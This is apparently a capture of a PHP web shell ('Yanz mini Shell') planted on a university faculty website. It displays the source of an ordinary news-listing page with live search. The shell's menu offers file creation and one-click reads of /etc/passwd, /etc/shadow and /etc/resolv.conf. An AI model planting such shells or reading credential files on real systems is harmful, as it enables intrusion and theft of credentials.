Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php
// =============================================================
// berita.php - Daftar berita dengan pencarian, filter & pagination
// Live-search: hasil update tanpa reload halaman penuh.
// =============================================================
require_once __DIR__ . '/../config/config.php';
require_once __DIR__ . '/../includes/berita_query.php';

$page_title       = 'Berita & Pengumuman - ' . setting('site_name');
$meta_description = 'Berita, pengumuman, dan kegiatan terbaru Fakultas Sains UNCP.';

$per_page = 9;
$page     = isset($_GET['p']) ? max(1, (int)$_GET['p']) : 1;
$search   = isset($_GET['q'])   ? trim($_GET['q'])   : '';
$category = isset($_GET['cat']) ? trim($_GET['cat']) : '';

$beritaData = getBeritaList($conn, $search, $category, $page, $per_page);
$categories = getBeritaCategories($conn);

include __DIR__ . '/../includes/header.php';
?>

<div class="page-hero" style="background: linear-gradient(135deg, #0a2b3e, #115277); color: white; padding: 80px 0 60px;">
  <div class="container">
    <nav style="font-size: 0.85rem; opacity: 0.8; margin-bottom: 16px;">
      <a href="<?= $base_url ?>/index.php" style="color: #fff000; text-decoration: none;">Beranda</a>
      <span style="margin: 0 8px;">›</span>
      <span>Berita</span>
    </nav>
    <h1 style="font-family: 'Poppins', sans-serif; font-size: 2.5rem; font-weight: 800;" data-aos="fade-up">
      Berita & Pengumuman
    </h1>
    <p style="opacity: 0.9; max-width: 720px; margin-top: 12px;" data-aos="fade-up" data-aos-delay="100">
      Informasi terbaru seputar akademik, penelitian, dan kegiatan Fakultas Sains UNCP.
    </p>
  </div>
</div>

<form method="GET" id="beritaFilterForm" data-aos="fade-up"
        style="background:white;border-radius:20px;padding:20px;
               box-shadow:0 10px 30px rgba(0,0,0,0.06);margin-bottom:32px;
               display:flex;gap:12px;flex-wrap:wrap;">
    <div style="flex:1;min-width:240px;position:relative;">
      <i class="fas fa-search" style="position:absolute;left:18px;top:50%;transform:translateY(-50%);color:#64748b;"></i>
      <input type="text" name="q" id="beritaSearchInput" value="<?= e($search) ?>"
             placeholder="Cari berita..." autocomplete="off"
             style="width:100%;padding:14px 44px 14px 44px;border:2px solid #e5e7eb;
                    border-radius:12px;font-size:1rem;font-family:inherit;">
      <span id="beritaSpinner" style="display:none; position:absolute; right:16px; top:50%; transform:translateY(-50%);">
        <i class="fas fa-circle-notch fa-spin" style="color:#00bfff;"></i>
      </span>
    </div>
    <?php if (!empty($categories)): ?>
    <select name="cat" id="beritaCatSelect" style="padding:14px 18px;border:2px solid #e5e7eb;border-radius:12px;
                              font-size:1rem;font-family:inherit;min-width:200px;">
      <option value="">Semua Kategori</option>
      <?php foreach ($categories as $cat): ?>
        <option value="<?= e($cat) ?>" <?= $category === $cat ? 'selected' : '' ?>>
          <?= e($cat) ?>
        </option>
      <?php endforeach; ?>
    </select>
    <?php endif; ?>
    <button type="submit"
            style="background:#0a2b3e;color:white;border:none;padding:14px 32px;
                   border-radius:12px;font-weight:700;cursor:pointer;font-family:inherit;">
      Cari
    </button>
  </form>

let debounceTimer = null;
  let currentController = null;

function runSearch(targetPage, pushState) {
    const q   = input.value.trim();
    const cat = select ? select.value : '';

if (currentController) currentController.abort();
    currentController = new AbortController();

spinner.style.display = 'inline-block';
    results.classList.add('loading');

const params = new URLSearchParams();
    if (q) params.set('q', q);
    if (cat) params.set('cat', cat);
    if (targetPage && targetPage > 1) params.set('p', targetPage);

fetch('<?= $base_url ?>/api/berita-search.php?' + params.toString(), { signal: currentController.signal })
      .then(function (res) { return res.text(); })
      .then(function (html) {
        results.innerHTML = html;
        // Hapus data-aos dari kartu baru: elemen yang disuntik lewat innerHTML
        // tidak pernah terdeteksi observer AOS, jadi kalau dibiarkan dia akan
        // nyangkut di opacity:0 (invisible) selamanya. Tanpa atribut ini,
        // kartu langsung tampil normal.
        results.querySelectorAll('[data-aos]').forEach(function (el) { el.removeAttribute('data-aos'); });
        spinner.style.display = 'none';
        results.classList.remove('loading');
        if (pushState) {
          const url = 'berita.php' + (params.toString() ? '?' + params.toString() : '');
          window.history.replaceState({}, '', url);
        }
        results.scrollIntoView({ behavior: 'smooth', block: 'start' });
      })
      .catch(function (err) {
        if (err.name === 'AbortError') return;
        spinner.style.display = 'none';
        results.classList.remove('loading');
        form.submit(); // fallback kalau AJAX gagal
      });
  }

input.addEventListener('input', function () {
    clearTimeout(debounceTimer);
    debounceTimer = setTimeout(function () { runSearch(1, true); }, 350);
  });
  if (select) select.addEventListener('change', function () { runSearch(1, true); });

form.addEventListener('submit', function (e) {
    e.preventDefault();
    clearTimeout(debounceTimer);
    runSearch(1, true);
  });

// Klik pagination / tombol reset di dalam hasil juga lewat AJAX (event delegation,
  // karena elemen-elemen itu di-render ulang setiap kali #beritaResults diganti isinya)
  results.addEventListener('click', function (e) {
    const pageLink = e.target.closest('.berita-page-link');
    if (pageLink) {
      e.preventDefault();
      const p = parseInt(pageLink.dataset.page, 10) || 1;
      runSearch(p, true);
      return;
    }
    const resetLink = e.target.closest('.berita-reset-link');
    if (resetLink) {
      e.preventDefault();
      input.value = '';
      if (select) select.value = '';
      runSearch(1, true);
    }
  });
})();
</script>

<?php include __DIR__ . '/../includes/footer.php'; ?>